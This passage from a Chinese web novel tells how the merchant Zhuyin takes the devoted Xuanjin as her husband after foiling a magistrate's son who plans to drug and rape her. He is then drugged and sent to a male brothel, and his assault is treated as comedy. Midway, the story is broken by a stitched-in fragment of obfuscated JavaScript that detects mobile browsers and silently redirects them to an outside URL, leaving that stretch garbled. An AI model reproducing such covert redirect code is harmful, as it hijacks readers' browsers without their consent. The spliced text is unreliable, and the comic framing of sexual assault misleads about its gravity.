玄烬一听她这样讲,顿时急了,猛地将头抬起来,脸上红潮未退,眼神却急切而灼热,语速极快:“我就是喜欢你!只喜欢你一个!跟见过多少人没有关系!” 他本来准备了一肚子表白的话,可临到阵前,却紧张得大脑一片空白,翻来覆去只剩下这最朴素、最直接的一句。 竹音看着他这副手足无措、急于证明自己,却又词穷羞赧的模样,心中那点玩笑的心思淡去,取而代之的是一丝复杂的波动。 她略一沉吟,想着他青春期的年龄,选择了暂时回避,委婉地拒绝道:“行了,你的心意我知道了。但今天,我们都不太冷静,这件事还是以后再说吧。” 她端起已经微凉的茶,准备送客。 “你看不上我吗?”玄烬的心往下落,他害怕这个所谓的“以后”,就是永无可能,焦急地上前半步,追问道。 竹音叹了口气,放下茶盏,看向他,语气认真了些:“不,玄烬,你很好。” 她顿了顿,理智地分析,但更像是在说服自己:“然而,当赘婿,可能真的不适合你。我要的是一个能安心待在后宅、心思简单、以我为天、言听计从的赘夫。你觉得你是这样的人吗?你能做到吗?” 玄烬是个有本事的人,来历又复杂,这样的人,在竹音眼里,是不可能安心受人摆布的。 “我能!”玄烬几乎是不假思索地答道,眼神无比认真,“我会很听话的!我全都听你的!你想让我做什么,尽管提出来,我都会竭尽全力的去做到。” 竹音看着他眼中毫不作伪的真诚,心中某处微微一动,但更多的仍是审慎。 她移开目光,重新拿起账本,语气恢复平淡,下了逐客令:“这太突然了,玄烬。让我再考虑考虑吧,你先去忙你的。” 诚然,玄烬长在了她的审美点上,但要招他当赘婿,风险还是有点大,她最好还是多挑挑,以免日后悔之晚矣。 …… 事实证明,合乎心意的赘婿并不是那么好挑的。 半个月的光景一晃而过,期间媒婆们又殷勤地来了七八趟,领来的人选五花八门。 有故作清高的穷酸书生,有眼带算计的小商户之子,也有模样俊俏却眼神飘忽的市井之徒…… 竹音一个顺眼的都没挑出来,反而浪费了大把时间。 玄烬的日子则更难熬,他陷入了前所未有的自我内耗。 每次见到媒婆领着陌生男子进门,他便觉得心口发紧,提心吊胆,仿佛在等待一场不知结果的审判。 等到媒婆带着人失望的离开,他才能悄悄松一口气,擦掉额头上惊出的冷汗。 这段时间,他睡觉都睡的不太安稳,总怕第二天一起床,便听见竹音已选定赘婿、不日成婚的讯息。 那对他而言,简直无异于天塌地陷! 这种悬而未决的折磨,比他以往任何一次生死任务都要煎熬。 他像一头被困在笼中的猛兽,焦躁地在笼子里乱撞,却找不到出口。 23. 第23章 选你当赘婿 事情的转机来的很快。 竹音总算知道之前的女掌柜为什么提醒她了,因为盯上她的人上门来提亲了。 竹音看着面前脑满肠肥的吴公子,露出个标准的假笑:“公子要我做妾?” 吴公子是知县家的老二,为人放荡不羁,不学无术,想也知道这家伙来提亲,安的是什么心思。 一边想纳她为妾,享用美色,一边想霸占她的产业,让她给自己挣钱,美美的吃绝户,把人敲骨吸髓的利用,真是打的一手好算盘。 吴二公子摇着一把折扇,故作风雅,又装又贱的说道:“嫁给我,你就彻底脱离这商人籍了,以后进了府,跟着我吃香的喝辣的,不好吗?” 竹音笑笑:“多谢公子厚爱,只是我们竹家如今就我一根独苗,我还要给家里传宗接代呢,只能招赘,不能嫁人。” 吴公子闻言,大笑出声:“你一个女人传什么宗,接什么代?那是男人该干的事儿,你就好好嫁给我得了,你要是放不下家里,可以从旁系过继一个男儿来传宗接代。” 竹音心里冷笑,面上却稳稳的维持着体面,继续温声拒绝:“母亲生前千叮咛万嘱咐,就我一个女儿,以后必定是要招赘的,我国以孝字治天下,母父之命,不敢不从。” 吴公子闻言,“唰”的一下收了扇子,脸色沉了下来。 “你这死丫头不要不知好歹,被我们公子看上,是你三生有幸!”旁边的小厮见自家主子面色不好,立刻开口大骂。 竹音瞟了那小厮一眼,慢慢收了笑意:“吴公子这是何意?” 吴公子又开始摇扇子,表情高高在上:“我什么意思?字面意思,老子看上你了,你嫁也得嫁,不嫁也得嫁!” 看来今天这事儿是不能轻易过去了。 竹音盯着吴公子看了几秒,声音渐冷:“那恐怕公子来晚了,我已经定了赘婿。” “什么?”吴公子摇扇子的动作一顿,不可置信的看着她:“你已经定了赘婿,谁呀?” “自然是您不认识的人。”竹音淡淡的说。 吴公子被噎了一下,气急败坏的偏头看向自己的小厮:“她什么时候找到赘婿的?” 小厮见自家公子生气了,一脸惊恐的摇头:“没看见她们过礼啊,一定是她诓您的!” “你诓我?”吴公子怀疑的看着竹音。 “怎敢诓您?只是家务事,哪有到处宣扬的道理。”竹音重新露出笑容,伸手朝后招了招:“玄烬,过来,见过吴公子。” 玄烬:?! 玄烬整个人傻掉,几秒之后,同手同脚的走了过来。 本来他在后面听的已经相当火大了,但因为他承诺要听竹音的话,所以一直忍着,没有出声。 万万没想到,突如其来一个馅饼砸到了他! 竹音刚才说什么?竹音让他过去。 这这这……是他想的那个意思吗? 竹音见玄烬走到身边,便很自然的挽起他的胳膊,对吴公子笑道:“吴公子,给您介绍一下,这位就是我选的赘婿了,叫玄烬。” 玄烬浑身僵硬,一股难以言表的狂喜涌上心头,进而扩张到四肢百骸,让他的唇角不受控制的往上牵动,想要露出一个大笑。 但他到底忍住了,礼数周全的朝吴公子抱拳行礼:“见过吴公子。” 吴公子恼羞成怒的走了! 他觉得这个男人一定是竹音找来故意堵他的,毕竟这人是簪竹记的股东之一,天天在店里出没。 如果他要和竹音成亲,早就成了,竹音干嘛还要大张旗鼓的找媒婆选赘婿? 这种随便找个男人来敷衍他的态度,就是公然打他的脸! 吴公子还要几分脸面,所以没有留在原地纠缠,但他一到家,就开始满肚子冒坏水,盘算着如何达到自己的目的。 经过一番苦思冥想后,他决定还是用最简单粗暴的方法,生米煮成熟饭! 成了他的人,难道还能不从他吗? 这日。 竹音带着陆珺出门办事,刚进雅间,便觉得有些不对劲。 她不动声色的朝门外等候的陆珺使了个眼色,陆珺了然,立刻提高了警惕。 吴公子的手段一点也不高明,他找了牵线搭桥的人,想要借着谈生意,在酒桌上把竹音灌醉,之后就能成事了。 事情在他的预料中进行的很顺利,竹音没喝几杯酒,便开始头晕,不多时就瘫软在了桌子上。 一起喝酒的掌柜喊了竹音几声,见她没醒,便把里屋的吴公子叫了出来。 吴公子兴冲冲的跑出来,叫人把竹音抬走,准备享用美色。 守在门外的陆珺早就被人打晕了,所以他们走的很顺利。 两人一起进了一间卧房,门被人从外面关上。 吴公子一边搓手,一边邪笑着朝床铺靠近。 但他刚刚撩开床幔,就觉得脖颈后传来一阵剧痛,白眼一翻晕了过去。 陆珺丢脏东西一样把吴公子丢到地上,转头问竹音:“姑娘,现在怎么办?” 竹音已经从床上做起来,眼神清明,哪有一丝醉意。 她勾起嘴角,乐呵呵的说:“给他下点药,送到南风馆吧。” …… 吴公子在南风馆开启了新的世界,虽然他一直很喜欢强制别人,但被别人强制还是第一次。 尤其是那人强制了他,还说他丑。 吴公子捂着屁股,哭的好大声! 但比这更令人难以接受的是,他的老父亲知道了这件事,勃然大怒,要把他逐出家门! 作为一名钢铁直男,知县完全无法接受自己的儿子曝出这样的丑闻,这简直就是在给他的仕途抹黑,让他成为全城的笑柄。 本来就慊弃这个儿子没出息,一天天游手好闲,不学无术,现在还闯了如此大祸,丢人现眼。 知县一气之下,也不想听他的辩解,直接打断了他的一条狗腿,将人送回了老家,让他回那苦寒之地好好反省,改过自新,什么时候改好了,什么时候才能回来。 据说这个改好,是指他考上举人才行。 吴公子有苦说不出,但他还不能对他爹承认自己是在准备去害别人的路上,被人给阴了,因为以他对他爹的了解,这只会换来更严重的谩骂,连个女人都算计不过,要这种蠢儿子还有什么用? 吴公子只能打碎了牙往肚子里咽,决定先委曲求全,回老家一趟,届时伤好了,再想办法回来报复竹音。 然而他想的很好,回家的路上却出了点状况,他的马车遇到了山匪,直接被劫走了。 这回可好,他彻底顾不上别人了,只想着如何在土匪窝里绝地求生。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168114|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > …… 夜里,竹音问玄烬:“你干的?” 玄烬没撒谎,一双眼睛黝黑深邃:“是的,我怕他卷土重来,报复你。” 竹音说不出来心里是个什么滋味,只拍了拍他的脸,在玄烬伸出手想抓住她的手掌时,忽然抽了回来,扔给他一套婚服:“试试看,合不合适?” 玄烬感受着脸上的热度离开,有些怅然若失,但看着丢进怀里的红色婚服,又咧开了嘴:“我这就试!” 虽然被竹音推出去当挡箭牌,以一种意想不到的方式成为了她的赘夫,但玄烬才不想去关注过程呢,他只要这个结果。 他去屏风后面,手脚麻利的换上了衣服,走出来给竹音看。 竹音打量着他挺拔的身姿,俊秀的脸庞,有种在现场看男明星拍古装剧的即视感。 这小子,实在是美貌。 尤其是现在,他卸了妆,露出本来的面容,一张脸嫩的能掐出水来,波光潋滟的星眸看着她,满眼期待,就像一个系着蝴蝶结的礼物,乖巧地等待着她的评判…… 哪个大女人受得了这个? 竹音走上去,忍不住又掐了把他的脸:“不错。” 玄烬顿时弯起眼睛,伸手想去抱她。 竹音却用一根手指挡在两人面前,非常破坏气氛的说道: “咱们先约法三章吧。你现在喜欢我,我又正好需要一个赘婿,所以咱俩成亲,属于双赢。 但人心易变,有些丑话要说在前头,若是往后,你我有一人变心,或者对自己的前途有其他的规划,需要分开发展,也希望大家可以和和气气的说出来,好聚好散,不要破坏今日的情谊。 我不是纠缠不清的人,希望你也不是。” 玄烬本来因为穿上婚服要飞到天上去的雀跃心情,一下子沉到谷底。 他着急忙慌的说道:“我不会变心的,永远不变!” “不要对我承诺永远,咱们让时间来说话吧。”竹音嘴角噙着温柔的笑,但声音一如既往的冷静自持。 她不信我。 玄烬很失落。 他知道竹音选他做赘婿,是权衡利弊之下的选择,她远没有他喜欢她那样喜欢自己。 他以为自己不在乎这些,只要能和她成亲,永远和她在一起就好了。 但当一切开诚布公的说出来时,他感觉自己的心还是很痛。 非常非常痛。 玄烬的手攥住了身上大红的婚服,脆弱又无助的看着竹音:“你不喜欢我吗?” 一点都不吗? 竹音看着他小狗一样可怜兮兮的表情,笑意却更深:“你怎么会这样想?我是不可能和自己完全看不上的男人成亲的,这一点你放心。” 玄烬像被解除了死刑宣判的犯人一样松了一口气,就这短短一句话的等待时间,就让他的后背生了一身冷汗,生怕听见自己最不想听见的那个答案。 还好,还好她不是一点都不喜欢他。 “那,那你喜欢我什么?”玄烬有些紧张的问。 只要她喜欢,他就会一直保持下去。 竹音看着他那小表情,觉得很有意思,来了些打趣的心思,故意用露骨的眼神将他上上下下的打量了一遍,毫不掩饰的说:“你长得好看,身材也不错,剑眉星目,八块腹肌,是我喜欢的那一款。”